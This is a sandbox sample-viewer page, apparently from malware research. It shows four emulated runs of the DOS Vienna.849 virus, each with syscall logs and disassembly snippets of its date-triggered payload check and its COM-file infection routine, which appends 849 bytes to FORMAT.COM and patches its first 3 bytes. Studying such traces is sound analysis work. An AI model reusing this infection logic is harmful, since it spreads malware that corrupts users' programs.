Sample viewer

vx.netlux.org/Virus.DOS.Vienna.849

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:09:36.87492326Z 42 PC: 12a6b | Get date 0x12a6b: cmp cx, 0x7bc
0x12a6f: jle 0x12a90
0x12a71: jmp 0x12a74
0x12a73: nop
0x12a74: mov ah, 0x2a
0x12a76: int 0x21
0x12a78: cmp dh, 6
0x12a7b: jge 0x12a80
0x12a7d: jmp 0x12ac4
0x12a7f: nop
0x12a80: cmp dl, 0x1c
0x12a83: jge 0x12a88
0x12a85: jmp 0x12ac4
0x12a87: nop
0x12a88: cmp dl, 0x1e
0x12a8b: jle 0x12a9c
0x12a8d: jmp 0x12ac4
0x12a8f: nop
0x12a90: mov ah, 0x2c
0x12a92: int 0x21
2018-12-17T23:09:36.878393248Z 42 PC: 12a78 | Get date 0x12a78: cmp dh, 6
0x12a7b: jge 0x12a80
0x12a7d: jmp 0x12ac4
0x12a7f: nop
0x12a80: cmp dl, 0x1c
0x12a83: jge 0x12a88
0x12a85: jmp 0x12ac4
0x12a87: nop
0x12a88: cmp dl, 0x1e
0x12a8b: jle 0x12a9c
0x12a8d: jmp 0x12ac4
0x12a8f: nop
0x12a90: mov ah, 0x2c
0x12a92: int 0x21
0x12a94: cmp cl, 0xf
0x12a97: jae 0x12aa6
0x12a99: jmp 0x12ac4
0x12a9b: nop
0x12a9c: mov ah, 9
0x12a9e: mov dx, si
2018-12-17T23:09:36.880728574Z 47 PC: 12ac9 | Get disk transfer address
2018-12-17T23:09:36.882081889Z 26 PC: 12adc | Set disk transfer address
2018-12-17T23:09:36.884688411Z 78 PC: 12b68 | Find first file
2018-12-17T23:09:36.890757321Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.893479076Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.896887253Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.899940857Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.906801614Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.909519182Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.912990485Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.915439514Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.918037057Z 78 PC: 12b68 | Find first file
2018-12-17T23:09:36.927227522Z 79 PC: 12b6e | Find next file
2018-12-17T23:09:36.93024888Z 67 PC: 12ba7 | Get or set file attributes
2018-12-17T23:09:36.936113527Z 67 PC: 12bb9 | Get or set file attributes
2018-12-17T23:09:37.592878914Z 61 PC: 12bc4 | Open file (Filename = 'C:\DOS\FORMAT.COM')
2018-12-17T23:09:37.600890033Z 87 PC: 12bd0 | Get or set file date and time
2018-12-17T23:09:37.602886004Z 44 PC: 12bdc | Get time 0x12bdc: mov ah, 0x3f
0x12bde: mov cx, 3
0x12be1: mov dx, 0x9c
0x12be4: nop
0x12be5: add dx, si
0x12be7: int 0x21
0x12be9: jb 0x12c41
0x12beb: cmp ax, 3
0x12bee: jne 0x12c41
0x12bf0: mov ax, 0x4202
0x12bf3: mov cx, 0
0x12bf6: mov dx, 0
0x12bf9: int 0x21
0x12bfb: jb 0x12c41
0x12bfd: mov cx, ax
0x12bff: sub ax, 3
0x12c02: mov word ptr [si + 0xa0], ax
0x12c06: add cx, 0x335
0x12c0a: mov di, si
0x12c0c: sub di, 0x233
2018-12-17T23:09:37.606958587Z 63 PC: 12be9 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:09:37.613216381Z 66 PC: 12bfb | Move file pointer
2018-12-17T23:09:37.615709323Z 64 PC: 12c20 | Write file or device (Write 849 bytes on handle 5)
2018-12-17T23:09:37.623835226Z 66 PC: 12c32 | Move file pointer
2018-12-17T23:09:37.625774429Z 64 PC: 12c41 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:09:37.628882996Z 87 PC: 12c54 | Get or set file date and time
2018-12-17T23:09:37.631462867Z 62 PC: 12c58 | Close file
2018-12-17T23:09:37.639585289Z 67 PC: 12c67 | Get or set file attributes
2018-12-17T23:09:37.649783703Z 26 PC: 12c74 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:53:28.391909881Z 42 PC: 12a6b | Get date 0x12a6b: cmp cx, 0x7bc
0x12a6f: jle 0x12a90
0x12a71: jmp 0x12a74
0x12a73: nop
0x12a74: mov ah, 0x2a
0x12a76: int 0x21
0x12a78: cmp dh, 6
0x12a7b: jge 0x12a80
0x12a7d: jmp 0x12ac4
0x12a7f: nop
0x12a80: cmp dl, 0x1c
0x12a83: jge 0x12a88
0x12a85: jmp 0x12ac4
0x12a87: nop
0x12a88: cmp dl, 0x1e
0x12a8b: jle 0x12a9c
0x12a8d: jmp 0x12ac4
0x12a8f: nop
0x12a90: mov ah, 0x2c
0x12a92: int 0x21
2018-12-25T12:53:28.39406754Z 44 PC: 12a94 | Get time 0x12a94: cmp cl, 0xf
0x12a97: jae 0x12aa6
0x12a99: jmp 0x12ac4
0x12a9b: nop
0x12a9c: mov ah, 9
0x12a9e: mov dx, si
0x12aa0: add dx, 0x36
0x12aa3: nop
0x12aa4: int 0x21
0x12aa6: cmp byte ptr [si], 0xa
0x12aa9: nop
0x12aaa: nop
0x12aab: ja 0x12ac4
0x12aad: pushf
0x12aae: mov al, byte ptr [si]
0x12ab0: nop
0x12ab1: nop
0x12ab2: mov cx, 0x100
0x12ab5: mov dx, 0
0x12ab8: mov bx, 1
2018-12-25T12:53:28.396507525Z 47 PC: 12ac9 | Get disk transfer address
2018-12-25T12:53:28.397447815Z 26 PC: 12adc | Set disk transfer address
2018-12-25T12:53:28.398439601Z 78 PC: 12b68 | Find first file
2018-12-25T12:53:28.40279706Z 79 PC: 12b6e | Find next file
2018-12-25T12:53:28.404635229Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.40644861Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.408771156Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.410640471Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.412455118Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.414729963Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.416484455Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.418198326Z 78 PC: 12b68 | Find first file (See above)
2018-12-25T12:53:28.424522185Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.427883525Z 67 PC: 12ba7 | Get or set file attributes
2018-12-25T12:53:28.43456928Z 67 PC: 12bb9 | Get or set file attributes
2018-12-25T12:53:28.773281846Z 61 PC: 12bc4 | Open file (Filename = 'C:\DOS\FORMAT.COM')
2018-12-25T12:53:28.781287773Z 87 PC: 12bd0 | Get or set file date and time
2018-12-25T12:53:28.78292067Z 44 PC: 12bdc | Get time 0x12bdc: mov ah, 0x3f
0x12bde: mov cx, 3
0x12be1: mov dx, 0x9c
0x12be4: nop
0x12be5: add dx, si
0x12be7: int 0x21
0x12be9: jb 0x12c41
0x12beb: cmp ax, 3
0x12bee: jne 0x12c41
0x12bf0: mov ax, 0x4202
0x12bf3: mov cx, 0
0x12bf6: mov dx, 0
0x12bf9: int 0x21
0x12bfb: jb 0x12c41
0x12bfd: mov cx, ax
0x12bff: sub ax, 3
0x12c02: mov word ptr [si + 0xa0], ax
0x12c06: add cx, 0x335
0x12c0a: mov di, si
0x12c0c: sub di, 0x233
2018-12-25T12:53:28.786376254Z 63 PC: 12be9 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:53:28.793448332Z 66 PC: 12bfb | Move file pointer
2018-12-25T12:53:28.794949762Z 64 PC: 12c20 | Write file or device (Write 849 bytes on handle 5)
2018-12-25T12:53:28.803764635Z 66 PC: 12c32 | Move file pointer
2018-12-25T12:53:28.806547858Z 64 PC: 12c41 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:53:28.810044088Z 87 PC: 12c54 | Get or set file date and time
2018-12-25T12:53:28.812089692Z 62 PC: 12c58 | Close file
2018-12-25T12:53:28.820458614Z 67 PC: 12c67 | Get or set file attributes
2018-12-25T12:53:28.831207265Z 26 PC: 12c74 | Set disk transfer address

{"DateBased":true,"Day":28,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:53:28.757608971Z 42 PC: 12a6b | Get date 0x12a6b: cmp cx, 0x7bc
0x12a6f: jle 0x12a90
0x12a71: jmp 0x12a74
0x12a73: nop
0x12a74: mov ah, 0x2a
0x12a76: int 0x21
0x12a78: cmp dh, 6
0x12a7b: jge 0x12a80
0x12a7d: jmp 0x12ac4
0x12a7f: nop
0x12a80: cmp dl, 0x1c
0x12a83: jge 0x12a88
0x12a85: jmp 0x12ac4
0x12a87: nop
0x12a88: cmp dl, 0x1e
0x12a8b: jle 0x12a9c
0x12a8d: jmp 0x12ac4
0x12a8f: nop
0x12a90: mov ah, 0x2c
0x12a92: int 0x21
2018-12-25T12:53:28.760898197Z 44 PC: 12a94 | Get time 0x12a94: cmp cl, 0xf
0x12a97: jae 0x12aa6
0x12a99: jmp 0x12ac4
0x12a9b: nop
0x12a9c: mov ah, 9
0x12a9e: mov dx, si
0x12aa0: add dx, 0x36
0x12aa3: nop
0x12aa4: int 0x21
0x12aa6: cmp byte ptr [si], 0xa
0x12aa9: nop
0x12aaa: nop
0x12aab: ja 0x12ac4
0x12aad: pushf
0x12aae: mov al, byte ptr [si]
0x12ab0: nop
0x12ab1: nop
0x12ab2: mov cx, 0x100
0x12ab5: mov dx, 0
0x12ab8: mov bx, 1
2018-12-25T12:53:28.764181398Z 47 PC: 12ac9 | Get disk transfer address
2018-12-25T12:53:28.765460823Z 26 PC: 12adc | Set disk transfer address
2018-12-25T12:53:28.767648006Z 78 PC: 12b68 | Find first file
2018-12-25T12:53:28.774485328Z 79 PC: 12b6e | Find next file
2018-12-25T12:53:28.777359046Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.780188388Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.784296672Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.786713707Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.788683325Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.791180014Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.793635344Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.796418379Z 78 PC: 12b68 | Find first file (See above)
2018-12-25T12:53:28.809299326Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:28.813026951Z 67 PC: 12ba7 | Get or set file attributes
2018-12-25T12:53:28.819914833Z 67 PC: 12bb9 | Get or set file attributes
2018-12-25T12:53:29.491376028Z 61 PC: 12bc4 | Open file (Filename = 'C:\DOS\FORMAT.COM')
2018-12-25T12:53:29.499976543Z 87 PC: 12bd0 | Get or set file date and time
2018-12-25T12:53:29.503148284Z 44 PC: 12bdc | Get time 0x12bdc: mov ah, 0x3f
0x12bde: mov cx, 3
0x12be1: mov dx, 0x9c
0x12be4: nop
0x12be5: add dx, si
0x12be7: int 0x21
0x12be9: jb 0x12c41
0x12beb: cmp ax, 3
0x12bee: jne 0x12c41
0x12bf0: mov ax, 0x4202
0x12bf3: mov cx, 0
0x12bf6: mov dx, 0
0x12bf9: int 0x21
0x12bfb: jb 0x12c41
0x12bfd: mov cx, ax
0x12bff: sub ax, 3
0x12c02: mov word ptr [si + 0xa0], ax
0x12c06: add cx, 0x335
0x12c0a: mov di, si
0x12c0c: sub di, 0x233
2018-12-25T12:53:29.505625035Z 63 PC: 12be9 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:53:29.512724877Z 66 PC: 12bfb | Move file pointer
2018-12-25T12:53:29.514828704Z 64 PC: 12c20 | Write file or device (Write 849 bytes on handle 5)
2018-12-25T12:53:29.523907928Z 66 PC: 12c32 | Move file pointer
2018-12-25T12:53:29.527015737Z 64 PC: 12c41 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:53:29.530314949Z 87 PC: 12c54 | Get or set file date and time
2018-12-25T12:53:29.532267043Z 62 PC: 12c58 | Close file
2018-12-25T12:53:29.542078336Z 67 PC: 12c67 | Get or set file attributes
2018-12-25T12:53:29.554072389Z 26 PC: 12c74 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":16592,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:53:28.965573544Z 42 PC: 12a6b | Get date 0x12a6b: cmp cx, 0x7bc
0x12a6f: jle 0x12a90
0x12a71: jmp 0x12a74
0x12a73: nop
0x12a74: mov ah, 0x2a
0x12a76: int 0x21
0x12a78: cmp dh, 6
0x12a7b: jge 0x12a80
0x12a7d: jmp 0x12ac4
0x12a7f: nop
0x12a80: cmp dl, 0x1c
0x12a83: jge 0x12a88
0x12a85: jmp 0x12ac4
0x12a87: nop
0x12a88: cmp dl, 0x1e
0x12a8b: jle 0x12a9c
0x12a8d: jmp 0x12ac4
0x12a8f: nop
0x12a90: mov ah, 0x2c
0x12a92: int 0x21
2018-12-25T12:53:28.969481186Z 44 PC: 12a94 | Get time 0x12a94: cmp cl, 0xf
0x12a97: jae 0x12aa6
0x12a99: jmp 0x12ac4
0x12a9b: nop
0x12a9c: mov ah, 9
0x12a9e: mov dx, si
0x12aa0: add dx, 0x36
0x12aa3: nop
0x12aa4: int 0x21
0x12aa6: cmp byte ptr [si], 0xa
0x12aa9: nop
0x12aaa: nop
0x12aab: ja 0x12ac4
0x12aad: pushf
0x12aae: mov al, byte ptr [si]
0x12ab0: nop
0x12ab1: nop
0x12ab2: mov cx, 0x100
0x12ab5: mov dx, 0
0x12ab8: mov bx, 1
2018-12-25T12:53:28.972788686Z 47 PC: 12ac9 | Get disk transfer address
2018-12-25T12:53:28.974223862Z 26 PC: 12adc | Set disk transfer address
2018-12-25T12:53:28.976008182Z 78 PC: 12b68 | Find first file
2018-12-25T12:53:28.998794357Z 79 PC: 12b6e | Find next file
2018-12-25T12:53:29.0015748Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.004355435Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.00773499Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.010491744Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.01318735Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.016847342Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.020766027Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.02450107Z 78 PC: 12b68 | Find first file (See above)
2018-12-25T12:53:29.036567653Z 79 PC: 12b6e | Find next file (See above)
2018-12-25T12:53:29.040010016Z 67 PC: 12ba7 | Get or set file attributes
2018-12-25T12:53:29.048096503Z 67 PC: 12bb9 | Get or set file attributes
2018-12-25T12:53:29.491345315Z 61 PC: 12bc4 | Open file (Filename = 'C:\DOS\FORMAT.COM')
2018-12-25T12:53:29.49960036Z 87 PC: 12bd0 | Get or set file date and time
2018-12-25T12:53:29.501292891Z 44 PC: 12bdc | Get time 0x12bdc: mov ah, 0x3f
0x12bde: mov cx, 3
0x12be1: mov dx, 0x9c
0x12be4: nop
0x12be5: add dx, si
0x12be7: int 0x21
0x12be9: jb 0x12c41
0x12beb: cmp ax, 3
0x12bee: jne 0x12c41
0x12bf0: mov ax, 0x4202
0x12bf3: mov cx, 0
0x12bf6: mov dx, 0
0x12bf9: int 0x21
0x12bfb: jb 0x12c41
0x12bfd: mov cx, ax
0x12bff: sub ax, 3
0x12c02: mov word ptr [si + 0xa0], ax
0x12c06: add cx, 0x335
0x12c0a: mov di, si
0x12c0c: sub di, 0x233
2018-12-25T12:53:29.504118691Z 63 PC: 12be9 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:53:29.512458538Z 66 PC: 12bfb | Move file pointer
2018-12-25T12:53:29.514568744Z 64 PC: 12c20 | Write file or device (Write 849 bytes on handle 5)
2018-12-25T12:53:29.523473411Z 66 PC: 12c32 | Move file pointer
2018-12-25T12:53:29.52708694Z 64 PC: 12c41 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:53:29.530346966Z 87 PC: 12c54 | Get or set file date and time
2018-12-25T12:53:29.532450928Z 62 PC: 12c58 | Close file
2018-12-25T12:53:29.542892397Z 67 PC: 12c67 | Get or set file attributes
2018-12-25T12:53:29.555997887Z 26 PC: 12c74 | Set disk transfer address